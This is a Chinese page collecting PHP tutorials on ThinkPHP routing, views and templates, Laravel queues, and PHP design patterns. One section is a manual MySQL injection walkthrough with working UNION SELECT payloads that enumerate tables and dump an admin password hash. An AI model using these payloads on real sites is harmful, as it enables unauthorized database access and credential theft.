php实战教程

百万[小程序商城]开发实战系列之thinkphp5开发第一篇

小程序入局者越来越多,微信小程序第一个开发,相当于确立了非官方标准,之后的支付宝小程序俨然改了一个名字版的微信小程序存在,再到之后的百度智能小程序,开发框架及标准都是一样的。

一张图集齐bat小程序

三家小程序除了三个文件,app.json,app.js,app.wxss,index.wxml叫法不同外,其他近乎一样

app.json 对应的是配置文件

app.js 三家一样的,都是javascript文件,前后端同学应该都懂

app.wxss 这个叫法不一样,但是都是css的超集[支持css的绝大部分语法,基本可以理解就是css]

index.wxml 这个就是对应就是网页三剑客的html了,只是有一些稍微的区别而已。

对于入门phper来讲,最简单也最高效的开发框架非tp(thinkphp)莫属了,为啥呢?有中文文档,国人开发,清晰的文档及国人高效论坛的支持。进化到thinkphp 5版本的tp以api接口为定义,更加符合现在小程序的开发逻辑, 也更贴合现在前端环境的MVVM架构。

在开发小程序环境下,对于传统的mvc架构,砍掉了v,只剩下mc。小程序端相当于v。

thinkphp5开发将主要着重于mc方面的开发

在接下来的课程中,我们将基于thinkphp5+wepy的方式讲解价值百万小程序商城的开发。

欢迎关注我门的百家号,持续更新小程序商城开发系列

展开
收起

PHP实战技巧(9)魔术方法 __get()和__set()

前言

继续说我们的“PHP语法技巧”,这次我们来说说

__get()

__set()

基础概念

get()

读取不可访问属性的值时,

__get($name)

会被调用。

$name 是属性名称

set()

在给不可访问属性赋值时,

__set($name, $value)

会被调用。

$name 是属性名称$value 是赋的值

简单来说

他们俩都是针对“类属性”的,读写一个不存在或者不可见的类属性时,会自动触发对应的魔术方法。

举个例子

实战意义

先看例子

例子解释

以数据查询为例,先实例化一个“模型类”,再调用不存在的类属性,会触发

__get()

动态的从数据库中取值。

常用于MVC结构中的Model层。

总结

上面的实战例子,只演示了 get 方法,set 方法也是同理,任何一个PHP框架在Model层都会有类似的设计。

还是那句话:魔术方法非常有趣,但是如何灵活使用,还要看你脑洞开的大不大。

展开
收起

Mysql手工注入实例 详细教程

MySQL是一个关系型数据库管理系统,PHP+MySQL组合的网站可以说占了互联网很大一部份,虽然说很多人可能也用过一些SQL注入工具测试过,例如:Sqlmap。

但是,如果不了解Mysql手工注入及其原理,你就像永远长不大的孩子一样。

一、数据库结构

Msyql数据库和我们前面讲的ACCESS还是有所不同的。两者具体区别如下:

Mysql数据库结构如下:

mysql数据库 -> A数据库 -> 表名 -> 列名 -> 数据

mysql数据库 -> B数据库 -> 表名 -> 列名 -> 数据

Access数据库结构如下:

access数据库 -> 表名 -> 列名 -> 数据

二、Mysql注入实战

由于数据库结构的不同,因此,Mysql注入手法也就有所不同;我们以下面这个网址来做实战:

www.xxxxx.com/product_show.php?id=21

1、判断是否存在注入?and 1=1 和 and 1=2 或 单引号;

www.xxxxx.com/product_show.php?id=21 and 1=1 (返回正常)

www.xxxxx.com/product_show.php?id=21 and 1=2 (返回错误)

www.xxxxx.com/product_show.php?id=21' (返回错误)

从这里可以得到一个结果:存在注入。

2、查询当前页面连接的列名个数: order by

www.xxxxx.com/product_show.php?id=21 order by 1 (返回正常)

www.xxxxx.com/product_show.php?id=21 order by 10 (返回正常)

www.xxxxx.com/product_show.php?id=21 order by 30 (返回错误)

www.xxxxx.com/product_show.php?id=21 order by 28 (返回错误)

www.xxxxx.com/product_show.php?id=21 order by 27 (返回正常)

从这里可以得到,当前页面对应表的列名个数是27;

3、爆出显位:union

这里爆显位可用联合查询来实现,我们可以用一个火狐或谷歌浏览器有一款hackbar插件,可以帮我们解决手工注入问题。

http://www.xxxxx.com/product_show.php?id=21 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

没有报错。

由于上面没有报错,因此显位爆露不出来,我们让它报错,如下:

http://www.xxxxx.com/product_show.php?id=-21 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

可算报错了,得到了显位2、4和显位6;

4、查询参数:主要查数据库名;

User() 查询当前数据库用户

Version() 查询当前数据库版本

Database() 查询当前页面所连接的数据库名称

@@Version_compile_os 查询服务器的系统版本

http://www.xxxxx.com/product_show.php?id=-21 UNION SELECT1,User(),3,Version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27http://www.wfiaser.com/product_show.php?id=-21UNIONSELECT1,Database(),3,@@Version_compile_os,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

从这里可以轻松得到当前数据库用户、当数据库版本、当前页面所连接的数据库名称“sq_wqyh150528”等。

5、查表名:

Mysql数据库中有一个 information_schema 数据库,里面存放了mysql 下所有数据库中的列名和表名信息。就不用像Access数据库那样去猜,有时候还猜不到。

http://www.xxxxx.com/product_show.php?id=-21 UNION SELECT1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27from information_schema.tableswhere table_schema=sq_wqyh150528

注意:这里需要把数据库名称“sq_wqyh150528”做一个16进制编码。可以用小葵多功能转换工具;

http://www.xxxxx.com/product_show.php?id=-21 UNION SELECT1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27from information_schema.tableswhere table_schema=73715F77717968313530353238

从这里,可以得到“sq_wqyh150528”数据库里面有很多张表,例如:admin,articles,config_navs,contact等等表。

6、查列名:

http://www.xxxxx.com/product_show.php?id=-21 UNION SELECT1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27from information_schema.columnswhere table_name=admin

注意,这里的表“admin"也要做一个16进制编码,我这就不转了,为了让大家看清楚。

在这里,我们可以得到以下列名,例如:id,name,adminpass,groupid,content等其它列名。

7、查数据:

mysql查数据有点类似于access的联合查询法查数据。

http://www.xxxxx.com/product_show.php?id=-21 UNION SELECT1,name,3,adminpass,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27fromadmin

得到了:

用户名:admin

密码:17433b011807e2db950737747752349

很明显,密码是加密过的,然后需要破解,例如:md5破解;

展开
收起

PHP实战技巧(11)PHP中的静态知识:facade

前言

Facade 也是一种设计模式,中文称为:外观模式,实际意义是:对复杂的接口进行一次包装,使其更容易使用。在实际开发中,能够帮助我们提高代码的简洁性、接口的易用性,以及更简单有效的测试途径。

如何使用它?

目前主流的几个框架:ThinkPHP5.1、Laravel、yii 都有它的影子(其他框架可能也有,未关注)。ThinkPHP5.1起开始提供Facade,但实现的比较简单,用官方的话说:降低上手门槛,让框架易用,是他们一贯的原则。

如果你基于上述几个框架,那么恭喜你,可以跟着框架文档学习使用即可。

Facade 的代码结构

图片为转载,来自CSDN。

又见“中间商”模式

经常看我文章的同学应该能注意到,这又是“中间商”模式。在应用程序和接口中间加了一层,就是:facade。在实际开发的过程中,我们会频繁利用“中间商”来解决问题,比如多层控制器、中间件等等。

中间商类的设计模式,具备普遍的优缺点:

优点,通过中间商来统一、简化代码行为缺点,增加代码的架构复杂度(还会稍稍降低执行效率)Facade 实现原理

接下来是给大家写的演示代码。

代码解析

Facade类

此为外观模式的管理类,负责外观模式的运转。如果你使用框架,这个类都是框架预先写好的。

App

实际想调用的目标类,我只实现了一个非静态方法:get,App::get() 这样的调用会报错。 实际开发中,所有的业务代码都写在这里。

AppFacade

App的外观类,它继承自 Facade,里边有一个方法 getFacadeAccessor(),负责指向到目标类。

使用

我们可以通过 AppFacade::get() 这样的语法,就能执行App类的get()方法,效果是一样的。

重点是:用静态语法调用了非静态方法,这也是 PHP中 Facade 模式的显著特点。

总结

就算你不知道它有什么用,但至少语法简单了,对吧。

展开
收起

ThinkPHP框架实战讲解-视图解读

ThinkPHP框架常用的是MVC模式,M是模型、V是视图,C是控制器。通过MVC模式将数据从数据库中查询出来,然后传递到页面中。下面我们来说一下具体的情况;

程序

一、视图渲染

模板定位规则:当前模块/view/当前控制器名(小写)/当前操作(小写).html。在5.1.6版本后系统会以简洁模式定位模板文件位置,规则如下:当前模块/view/当前控制器(小写)_当前操作(小写).html

1、Fetch方法

fetch方式是渲染模板时最常用的方法,在使用此方法的前提是控制器类需要继承系统控制器基础类。使用方式如下:

(1)、不需要传递任何参数,框架会自动定位到模板文件;

return $this->fetch();

(2)、传递一个参数,框架会定位至当前控制器下的参数一模板文件;

return $this->fetch('edit');

(3)、传递两个参数,框架会定位至参数一控制器下的参数二模板文件;

return $this->fetch('member/read');

注意事项:在书写参数时请不要书写任何后缀,参数只是目录名称或文件名称而已。

(4)、视图根目录下文件

如果想把view文件夹内的单独文件进行渲染,可以在参数位置进行如下书写:

return $this->fetch('/menu');

(5)、特殊模板文件或特殊位置文件

如果项目中存在特殊模板文件,又不想移动位置,可以通过如下方式进行调用:

return $this->fetch('./template/menu.html');

上面书写的目录位置是相对于当前项目入口文件位置(public目录),模板文件后缀无固定要求,可以为html、php、tpl等格式

PHP代码

2、助手函数方式

如果控制器未继承系统基础控制器类,同样可以实现视图模板的输出,框架提供了助手函数view(),可以使用如下命令:

return view();

可传递参数及数据,常见的使用方式如下:

return view('模板文件路径','数据');

3、直接解析模板方式

项目中某些页面可能通过直接解析模板的方式就可以实现功能,那么我们可以通过最简单的方式对模板文件进行输出。使用如下命令:

return $this->display();

此方式会直接渲染内容,同样模板标签在视图中可以正常使用。

HTML模板

二、视图赋值

1、assign方法

在继承系统基础控制器类后可以通过如下命令进行视图赋值:

$this->assign("名","值");

批量赋值方式:

$this->assign(['名'=>'值','名'=>'值']);

2、方法传入参数方式

此方式在进行视图渲染中提及到了,通过设置模板文件位置时携带数据。命令如下:

$this->fetch('path',['名'=>'值','名'=>'值']);$this->display('path',['名'=>'值','名'=>'值']);

3、助手函数赋值方式

这种方式是项目开发过程中最常见的模式,助手函数无需继承基础控制类,相对而言代码更加精简、可读性更高。命令如下:

return view('path',['名'=>'值','名'=>'值']);

4、公共模板变量赋值方式

可以使用视图类的share静态方法进行全局公共模板变量赋值。命令如下:

use think\facade\View;// 赋值全局模板变量View::share('name','value');// 或者批量赋值View::share(['name1'=>'value','name2'=>'value2']);

视频过滤

三、视图过滤

1、局部过滤

在单独方法内进行视图过滤操作。命令如下:

// 使用视图输出过滤return $this->filter(function($content){returnstr_replace("\r\n",'<br/>',$content);})->fetch();

2、全局过滤

如果进行全局过滤方式,需要在初始化方法中进行设置。命令如下:

protected functioninitialize(){$this->view->filter(function($content){returnstr_replace("\r\n",'<br/>',$content); });}

总结:视图过滤方式可以理解过对视图模板中内容进行了替换操作,可以通过此方式减少代码空行,无用的缩进。减少代码体积。

四、模板引擎

框架中内置了模板引擎,默认可以忽略对此进行设置,同时框架支持自定义引擎模式。在配置目录(config目录)下的template.php文件中可进行配置。

默认提供了两种扩展引擎:think-angular、twig(都不是很完美,不建议使用

4、)

五、扩展

如果只想获得解析文件而不进行渲染,如果生成静态HTML文件,采用纯静态化模式。可以使用如下命令:

$html = $this->fetch()->getContent();

此方式返回字符串,可以继承文件创建方式,批量生成HTML静态文件,便于网站优化。

六、总结

1、依据场景,选择不同的渲染方式;

2、合理的进行模板赋值;

3、牢记特殊模板文件位置是基础项目入口文件位置;

4、模板文件配置目录为:config/template.php文件;

展开
收起

Laravel 队列实战教程:构建一个简单的统计应用

几年来,我一直在使用Laravel任务调度和队列。刚开始使用它们时,我感到很难受,我无法理解这些概念,我们构建高度依赖它们的web应用程序的方式似乎有些奇怪,即使不是太复杂。有天我突然焕然大悟,一切都开始变得清晰。希望同样的事情也会发生在您身上,您会开始想知道这些年来您是如何在不了解其原理的情况下使用它的。

据我所知,学习任务调度和队列(以Laravel为例)不能深入了解其原理的主要原因并不在于其有多复杂或有多新颖,而关键问题在于我们在网上查找的大部分学习资料要么过于理论,要么缺乏我们需要的简单实例。

这本教程是写给过去的我,这是我初学这些概念时希望拥有的教程。我喜欢用例子来解释任何复杂的概念。我们将构建一个简单的分析应用程序,我们会从一个基础的版本开始,如果如果您是该应用程序的唯一用户,则以您构建的应用程序开始,然后我们将发现应用程序所暴露出来的缺点,我们会通过任务调度和队列去改善并解决这些缺点。

应用说明

这是一个基础的应用程序(将其命名为basic-analytics-v01)。这个应用程序将追踪我们网址收到的流量。

我们在构建该应用程序的同时,我们可能希望向其他用户开发该应用程序,因此我们需要将用户数据分离开,并且不需要太多工作就可以将其集成到现有网站中。

简而言之,每当用于访问页面时,网站都会向我们的分析程序发送POST请求,我们通过减去两个连续发送的POST请求时间戳来计算在每个页面上所花费的时间。

基本分析

我们将保证这个应用程序足够简单(至少在第一个版本中)。

让我们将这些请求数据存储在数据库中,我们只需要一个方法和一个控制器(是的,我们现在将所以内容都放入一个控制器中)。

首先,让我们创建两个主要的models及各自的迁移文件。

Tracker:每个用户进入网站都会分配一个唯一的tracker,现在,我们只需要确保tracker的ID 是唯一且有效的(它存储于数据库中)Hit:每个POST请求都将存储为一个“Hit”controller代码如下所示:

classTrackingControllerextendsController{publicfunctiontrack($tracker_public_id, Request $request){ $tracker = Tracker::where('public_id', $tracker_public_id)->first();if($tracker){ $url = $request->get('url'); $hit = Hit::create(['tracker_id'=> $tracker->id,'url'=> $url]); $previousHit = Hit::where('tracker_id', $tracker->id)->orderBy('id','desc')->skip(1)->first();if($previousHit){ $previousHit->seconds = $hit->created_at->diffInSeconds($previousHit->created_at); $previousHit->save();return $previousHit->seconds;}return0;}return-1;}}这里要记住,我们简化来很多代码,只留下有助于说明本文的简单用例。

如您所知,此代码没有任何问题,特别是你要将其运用于一个小型的个人网站。

但是,让我们想象可能存在一些特殊情况,这个代码还不够完善,可能会报错甚至使网站无法正常运行。

反应时间

让我们设想一下,由于某种原因,发送这些请求的脚本需要等待并确认请求已收到。

当我通过Postman在本地发送请求来测试这一点时,我得到的结果如下:

100ms是一段相当长的时间,即使我们在控制器操作中没有做太多处理。假设我们要做的不仅仅是这个简单的处理,并且我们需要执行多个数据库查询,甚至需要与第三方API对话,我们将阻塞发送请求的脚本(因此,我们可能会阻塞正在执行脚本的页面),直到我们完成处理。

并发请求数

无论您是在本地运行Laravel应用程序,还是在生产服务器上运行,您随时可以处理的请求数量总是有限制的。

如果您使用的是本地开发服务器,并使用php artisan serve为您的Laravel应用程序提供服务,您会注意到该服务器一次只能处理一个请求。

如果我们像在代码中所做的那样同步执行代码,这意味着我们将更频繁地达到此限制,因为我们使Web服务器保持繁忙,并且我们会注意到太多的请求只是超时。这个问题的一个解决方案是尽快释放连接。

数据丢失

在读取当前代码时不容易想到的一个问题是,如果失败(例如,当我们尝试执行代码时无法访问数据库,或者如果我们有引发异常的错误),我们就无法存储请求并重试。

现在让我们看看作业和队列的使用将如何帮助我们解决所有这些问题:

将作业推送到队列

首先,让我们来谈谈什么是队列和作业。

简而言之,作业就是我们想要执行的一段代码(例如一个方法)。我们把它放在一个队列中,以推迟它的执行,并将它委托给“其他东西”。

举一个真实世界的例子,当你去快餐连锁店吃饭时,接待员不会为你准备并送到你手中,而是确保你的订单被(正确地)接受,然后将剩余的工作“委托”给其他人。

这背后的原因是,接待员不需要让你排队等待,直到你拿到订单,而是只做最少和必要的工作,然后继续下一个订单(尽可能多地并行服务)。我们希望用我们的代码实现同样的功能。

因此,在我们的代码中,我们只想确保已收到POST请求,然后将其余的工作委托给队列应用程序去完成。

其中一种方法是将需要委托执行的代码放在闭包中,然后将其写在dispatch函数中,代表将其分发给队列:

dispatch(function()use($parameters){// your code here});但是我建议您将创建一个专门处理队列的类class,将需要执行的代码写入该类。首先,我们需要执行以下命令来创建类:

php artisan make:job TrackHitJob此命令将生成以下类:

App\Jobs\TrackHitJob现在我们将TrackingController中的track方法移至新创建的TrackHitJob类中的handle方法中。handle方法如下所示:

publicfunctionhandle(){ $tracker = Tracker::where('public_id', $tracker_public_id)->first();if($tracker){ $url = $request->get('url'); $hit = Hit::create(['tracker_id'=> $tracker->id,'url'=> $url]); $previousHit = Hit::where('tracker_id', $tracker->id)->orderBy('id','desc')->skip(1)->first();if($previousHit){ $previousHit->seconds = $hit->created_at->diffInSeconds($previousHit->created_at); $previousHit->save();return $previousHit->seconds;}return0;}return-1;}PS:别忘了导入Tracker和Hit模型以及Request类

但是我们如何将参数(tracker的ID以及请求本身)传递给队列类代码呢?好吧,我们将它们传递给类的构造函数,然后handle方法可以像这样获取参数:

namespace App\Jobs;use Illuminate\Bus\Queueable;use Illuminate\Contracts\Queue\ShouldQueue;use Illuminate\Foundation\Bus\Dispatchable;use Illuminate\Queue\InteractsWithQueue;use Illuminate\Queue\SerializesModels;use Illuminate\Http\Request;use App\Tracker;use App\Hit;classTrackHitJobimplementsShouldQueue{ use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;private $trackerPublicID;private $url;publicfunction__construct($tracker_public_id, Request $request){ $this->trackerPublicID = $tracker_public_id; $this->url = $request->get('url');}publicfunctionhandle(){ $tracker = Tracker::where('public_id', $this->trackerPublicID)->first();if($tracker){ $hit = Hit::create(['tracker_id'=> $tracker->id,'url'=> $this->url]); $previousHit = Hit::where('tracker_id', $tracker->id)->orderBy('id','desc')->skip(1)->first();if($previousHit){ $previousHit->seconds = $hit->created_at->diffInSeconds($previousHit->created_at); $previousHit->save();return $previousHit->seconds;}return0;}return-1;}}现在,我们每次接受到新的hit值,我们都需要将其分发到新的队列中

我们可以按照以下代码:

namespace App\Http\Controllers;use Illuminate\Http\Request;use App\Jobs\TrackHitJob;classTrackingControllerextendsController{publicfunctiontrack($tracker_public_id, Request $request){ TrackHitJob::dispatch($tracker_public_id, $request);}}看看我们的控制器变得非常简洁明白。

如果您像刚开始时那样尝试发送POST请求,我们会发现没有任何变化,我们仍然会看到hits表中数据变化,并且请求仍然存在且与上次请求时间基本相同(~100ms)

那么,这是怎么回事?我们真的分发队列了吗?

队列连接

如果你打开.env文件,您会发现我们有一个名为QUEQU_CONNECTION的变量,设置为sync

QUEUE_CONNECTION=sync这意味着我们在处理所有分发的任务队列时,正在进行同步处理。

因此,如果我们想要更好地使用队列的功能,我们需要将队列连接修改为其他的连接方式。换句话说,我们需要更换一种处理方式,可以使任务队列能够以排队的方式进行。

可以选择多种连接方式。如果您查看config/queue.php文件,您会注意到Laravel支持的多个连接方式(“sync”, “database”, “beanstalkd”, “sqs”, “redis”)。

由于我们只是刚刚开始使用队列和作业,因此我们避免使用任何需要第三方服务(beanstalkd和sqs)或开发计算机中不一定有的应用程序(redis)的队列连接。我们将用database方式进行连接。

因此,每次有新的任务队列需要处理时,它将存储在数据库中(专用表中)。然后再连接获取并执行相关任务队列。

PS:如果您使用的是本地开发服务器,记得要重启它,否则不会重新加载.env文件所做的更改。

QUEUE_CONNECTION=database在尝试发送POST请求之前,我们需要创建一个表用于存储队列数据。值得庆幸的是,Laravel为我们提供了一个现成的生成该表迁移的命令

php artisan queue:table执行此命令后(并因此创建迁移)后,我们需要运行执行迁移。

php artisan migrate

现在,如果我们再发送一次POST请求时,我们会注意到以下内容:

响应时间变短(因为我们不再同步处理请求)我们可以在jobs表中查看创建了新的数据

但hits表中没有创建新的数据我们没有在hits表中看到任何数据更新,因为我们没有执行进程来运行相关的任务队列。为了使用队列,我们需要执行以下命令:

php artisan queue:work

basic-analytics-v01 git:(master) php artisan queue:work[2019-12-2410:25:16][1] Processing: App\Jobs\TrackHitJob[2019-12-2410:25:16][1] Processed: App\Jobs\TrackHitJob[2019-12-2410:25:16][2] Processing: App\Jobs\TrackHitJob[2019-12-2410:25:16][2] Processed: App\Jobs\TrackHitJob[2019-12-2410:25:16][3] Processing: App\Jobs\TrackHitJob[2019-12-2410:25:16][3] Processed: App\Jobs\TrackHitJob[2019-12-2410:25:16][4] Processing: App\Jobs\TrackHitJob[2019-12-2410:25:16][4] Processed: App\Jobs\TrackHitJob[2019-12-2410:25:16][5] Processing: App\Jobs\TrackHitJob[2019-12-2410:25:16][5] Processed: App\Jobs\TrackHitJob请注意,该命令不会退出,它将继续等待新的任务队列并进行处理。

如果您想知道如何在线上生产服务器执行此命令,以及在注销服务器后保持该命令继续正常运行,请不要担心,我们稍后将详细讨论这一点。

现在,如果您返回数据库查看jobs表,你会发现它是一张空表,因为它已经处理完所有任务队列了。

并行使用多个作业

在了解了如何分发任务队列并异步处理它们之后(即:我们不需要等待任务队列完成),让我们转到使用任务队列的第二个原因:并行性。

如果您到目前为止一直在认真地关注,您会注意到,我们分发的任务队列一次只能处理一个任务队列。

解决方案非常简单,只需打开一个新的终端页面并执行相同的命令php artisan queue:work,下次有多个POST请求发送到您的应用程序(即当您有多个任务队列需要执行),您会注意到两个终端的进程都在执行任务队列,这意味着我们正在并行处理它们,这意味着您拥有的进程越多,清空队列的速度就越快。

同样,如果您想知道如何在线上生产服务器上执行此操作,请放心,我们稍后将进行介绍。

处理执行失败的队列

现在,假设您将一些新代码推送到服务器上,从而引入了一个错误,并且花了一些时间才发现该错误,这意味着此期间您的应用收到的所以请求都将失败,有没有办法处理它们并修复这些执行失败的队列。如您所知,您不能要求您的客户再次向您发送请求(这是不可能的)。幸运的是,数据没有丢失,我们可以重试失败的任务队列,而不会出现任何问题。

但是在我们探索如何做之前,我希望您可以阅读queue:work的帮助命令:

php artisan queue:work --help

请注意,该命令可接受多个参数,其中一个参数tries(这里是我们感兴趣的参数)

--tries[=TRIES] Number of times to attempt a job before logging it failed [default:"1"]此参数有助于我们确认将任务队列标记为失败之前重试该任务队列的次数。请注意,默认值为1,这意味着一旦任务队列执行失败一次,它将被标记为失败。

当任务队列执行失败时,它将保存在failed_jobs表中,Laravel同样为我们提供了相关的创建迁移文件命令:

php artisan queue:failed-table换句话说,如果您正在应用程序中运用任务队列,则需要运行此命令来产生迁移文件。

现在让我们停止queue:work进程,并尝试模拟失败的任务队列

让我们在handle()方法的开头添加以下代码:

thrownew\Exception("Error Processing the job",1);因此,每当我们尝试处理任务队列时,任务队列都会失败,我们看看发生来什么(不要忘记发送一些新的POST请求)

如您所见,任务队列都执行失败了,如果我们访问failed_jobs表,我们可以找到有关它们的更多信息。

在表中的每个数据,我们都可以看到任务队列的有效负载,导致其失败的异常信息,连接方式,连接队列和队列失败的时间。

现在,我们删除引发异常的那一行代码,并尝试重新执行队列。

我们可以重试所以失败的任务队列或仅重试一个特定的任务队列(用任务队列的ID替换all):

php artisan queue:retry all如果您在重试作业之前没有停止先前的queue:work进程,则会发现重试的任务队列会再次失败,这是怎么回事呢?

根据 Laravel文档:

队列工作进程是一个长期存在的进程,并将已启动的应用程序存储在内存中。启动后,进程将不会注意您的代码库的更改。因此,在部署过程中,请确保重启队列工作进程.

因此,我们需要重新启动该进程。

另外,如果您希望避免每次在本地更改某些内容时都需要重新启动该进程,则可以改用以下内容:

php artisan queue:listen但是,根据官方文档,此命令的效率不如 queue:work

现在让我们重新启动queue:work进程,然后重试所以失败的任务队列。

任务队列将被重新运行,我们将在hits表中查看到新的数据更新。

下一步是什么

在下一个教程中,我们将看到如何使用其他队列连接(数据库连接除外),我们将探索多个队列的使用以及如何使某些任务/队列比其他队列具有更高的优先级。

接下来,我们将探讨如何部署依赖于任务队列的应用程序,以及需要执行哪些操作来保持进程运行。

展开
收起

ThinkPHP框架实战讲解-路由解读

路由是开发过程中比较重要的一环,在ThinkPHP5.1版本后路由默认开启,并且不可以关闭,足以可见它的重要性。下面我们来具体的说一下;

注意事项

1、默认开启、不可关闭;

2、优先匹配、多模式支持;

3、匹配成功,不再继续匹配;

4、默认支持数字、字母、下划线,不支持中文及特殊符号;

PHP

主要作用

1、URL链接更加规范、美观,更加适合SEO优化;

2、隐式传入额外请求参数;

3、请求方式拦截,区分GET、POST等请求方式;

4、绑定请求数据;

5、处理请求缓存,优化程序响应时间;

6、路由中间件支持(V5.1.6+版本以上支持);

SEO优化

路由定义

1、定义位置:route/route.php文件内,可以在route目录内多文件定义,最终框架会进行路由整合,建议采用域名+分组模式定义路由。

2、定义方式:

Route::get('new/:id','News/read');// 定义GET请求路由规则Route::post('new/:id','News/update');// 定义POST请求路由规则Route::put('new/:id','News/update');// 定义PUT请求路由规则Route::delete('new/:id','News/delete');// 定义DELETE请求路由规则Route::any('new/:id','News/read');// 所有请求都支持的路由规则

请注意:

1、路由匹配成功后,原链接访问方式会失效;

2、完全匹配需在尾部添加$ ;

3、变量可有可无使用[] 包裹变量;

变量规则

系统默认的变量规则设置是\w+,只会匹配字母、数字和下划线字符,并不会匹配特殊符号和中文,需要定义变量规则或者调整默认变量规则。

1、局部配置(仅在当前路由有效)

*定义GET请求路由规则 并设置name变量规则

Route::get('new/:name','News/read')->pattern(['name'=>'\w+']);

2、全局配置(全部路由有效)

*设置name变量规则(采用正则定义)

Route::pattern('name','\w+');

*支持批量添加

Route::pattern(['name'=>'\w+','id'=>'\d+',]);

3、组合变量

*组合变量的优势是路由规则中没有固定的分隔符,可以随意组合需要的变量规则和分割符

Route::get('item-<name>-<id>','product/detail')->pattern(['name'=>'\w+','id'=>'\d+']);

PHP框架

路由地址

闭包支持

实际开发过程中不常用,是一种简单直接的定义模式;

Route::rule('hello/:name',function(Request $request, $name){$method = $request->method();return'['. $method .'] Hello,'. $name;});

路由参数

互联网开发

路由缓存

在定义大量的路由时,强烈建议使用路由缓存,注意仅在部署模式下有效,开启该缓存可以明显提升路由解析性能。

开启方式,在应用配置文件app.php中设置开启:

'route_check_cache'=>true,

开启后,会自动对每次的路由请求的调度进行缓存,第二次如果是相同的请求则无需再次经过路由解析,而是直接进行请求调度。

清除命令:

>php think clear --route

跨域请求

如果某个路由或者分组需要支持跨域请求,可以使用如下代码:

Route::get('new/:id','News/read')->ext('html')->allowCrossDomain();

注解路由

此方式不建议使用,缺点路由分散不方便管理,同时书写规则要求较为严格。

代码

路由分组

强烈建议使用,下面书写一种比较完善的路由分组写法:

Route::group(['method'=>'get','ext'=>'html'],function(){Route::group('blog',function(){Route::rule('blog/:id','blog/read');Route::rule('blog/:name','blog/read');});})->pattern(['id'=>'\d+','name'=>'\w+']);

MISS路由

如果希望在没有匹配到所有的路由规则后执行一条设定的路由,可以注册一个单独的MISS路由,总结来说,可以应用于404页面,防止程序找不到路由而报错(一旦设置了MISS路由,相当于开启了强制路由模式);

Route::miss('public/miss');

资源路由

实际开发过程中不常用,不做描述。

快捷路由

此方式要求在控制器层面定义方法名称较为严格,简单做一下描述,不建议使用。

*给User控制器设置快捷路由

Route::controller('user','index/User');<?php namespace app\index\controller;class User{public functiongetInfo(){ }}

代码

路由别名

路由别名不支持变量类型和路由条件判断,单纯只是为了缩短URL地址,并且在定义的时候需要注意避免和路由规则产生混淆。设置操作方法的请求类型:

*user 别名路由到 index/user 控制器

Route::alias('user','index/user',['ext'=>'html','allow'=>'index,save,delete','method'=>['index'=>'GET','save'=>'POST','delete'=>'DELETE'],]);

路由绑定

把当前的URL绑定到模块/控制器/操作,最多支持绑定到操作级别,例如在路由配置文件中添加:

*绑定当前的URL到 index模块

Route::bind('index');

*绑定当前的URL到 index模块的blog控制器

Route::bind('index/blog');

域名路由

支持完整域名、子域名和IP部署的路由和绑定功能,同时还可以起到简化URL、加快匹配的作用。

Route::domain(['blog','admin'],function(){Route::rule('new/:id','index/news/read');});

URL生成

支持路由URL地址的统一生成,并且支持所有的路由方式,但是不建议使用,直接在页面中手动设置,减少模板解析时间。

可以使用助手函数url,不需要继承框架基础控制器类即可使用,示例如下:

url('index/blog/read','id=5&name=thinkphp');

解析后为:/index.php/blog/5/name/thinkphp.html

其他配置方式不做过多讲解。请移步官方文档查看。

展开
收起

ThinkPHP框架实战讲解-模板解读

在开发过程中,我们需要写控制器、模型、验证代码。最后要写模板代码,如果是前后端分离项目则不用写模板了。直接在接口中返回数据就可以了。模板代码包含了很多知识,下面举例介绍一下;

代码

变量输出

1、常见的输出方式是使用大括号({ })的形式,里面写入变量名称。在runtime/temp目录下可以看到编译后的文件,括号解析成了<?php ?>的形式,并且里面包含htmlentities。命令如下(注意$ 和 { 之间不能存在空格):

{$data}

2、原样解析,如果解析富文本内容时使用,使用示例:

{$data|raw}

3、默认值,使用示例:

{$data|default='这是一个默认值'}

4、系统变量输出,主要是获取用户昵称,使用示例:

{$Think.session.name}

5、常量输出,使用示例:

{$Think.PHP_VERSION}

6、配置输出,主要是获取基础网址,使用示例:

{$Think.config.default_module}

PHP

使用函数

1、框架内置规则:

2、应用方式:

2.1、单函数应用,使用示例:

{$data.name|md5}

2.2、多函数应用,使用示例:

{$name|md5|upper|substr=0,3}

互联网开发

运算符

1、常见运算符

2、三元运算符

2.1、默认写法

{$status?'正常':'错误'}

2.2、简单写法,表示有则输出,无则输出默认值

{$name ??'默认值'}

2.3、为真写法,表示为真的时候才输出默认值

{$name?='默认值'}

2.3、真假写法、表示为真输出值,否则输出默认值

{$name ?:'NO'}

2.4、表达式写法,表达式为真则输出值一,否则输出值二

{$a==$b ?'yes':'no'}

程序代码

原样输出

原样输出使用较少,如果想让输出内容不被模板标签所解析,使用如下命令进行输出:

{literal} Hello,{$name}!{/literal}

模板注释

模板注释和代码注释是两种方式,模板注释不会在页面上查看到被注释的代码,而代码注释则可以查看的到。使用方式如下:

{/* 这是模板注释内容*/} 或 {// 这是模板注释内容 }

模板布局

模板布局总结来说就两点:配置和模板;

配置分为模块配置和应用配置,一般情况下后台多应用模板布局方式,在后台模块config/template.php文件内(默认不存在,需手动创建)设置如下代码:

'layout_on'=>true, //开启布局模式'layout_name'=>'layout', //布局文件名称,可设置为 'index/layout'目录形式'layout_item'=>'{__REPLACE__}' //输出替换变量

模板继承

在实际项目开发过程中使用较少,主要是因为继承过于麻烦。

包含文件

在实际项目开发过程中,前端页面使用较多,使用方式较为单一;

1、使用模版文件,多个文件使用逗号分隔;

{include file="public/header,public/menu"/}

2、传入参数,此方式需注意模板中变量值必须存在;

{include file="Public/header" keywords="开源WEB开发框架"/}

开发代码

